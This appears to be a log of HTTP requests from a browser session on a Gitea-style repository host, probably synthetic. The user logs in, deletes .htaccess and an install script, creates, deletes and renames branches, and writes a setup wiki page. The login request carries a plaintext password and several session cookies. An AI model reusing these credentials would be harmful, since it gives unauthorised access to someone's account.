{"method": "GET", "target": "/alice/tools/wiki", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/generic/tools/1.2.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases/download/v1.1.0/tools-linux-amd64.tar.gz", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases/download/v1.2.0/install-script.sh", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/generic/install-script/1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=python3&type=container", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/-/packages?q=python3&type=container", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=0992a6293c77c3ef1f9a8d37b774deddcbef2e23&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522.htaccess%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=cf1f6e0dcb6e2685ce4ffcc1225d31c65cd64d26&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522scripts%252Finstall-script.sh%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "new_branch_name=docker-build"}
{"method": "GET", "target": "/alice/tools/src/branch/docker-build/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
{"method": "POST", "target": "/alice/tools/branches/delete?name=docker-build&page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylgvDcSqmeTmS8iNm", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "------WebKitFormBoundarylgvDcSqmeTmS8iNm--\r\n"}
{"method": "GET", "target": "/alice/tools/branches?page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2Bfeat%252Fdocker-support%2Bwas%2Bsuccessfully%2Brenamed%2Bto%2Bfeat%252Fpython3-support."], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 180", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": "title=Python3+setup&content=Install+python3%2C+or+powershell+on+Windows.+Run+ls+-la+to+check+that+.htaccess+and+docker-compose.yml+are+there%2C+then+run+install-script.sh.&message="}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/powershell-scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/explore/repos?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
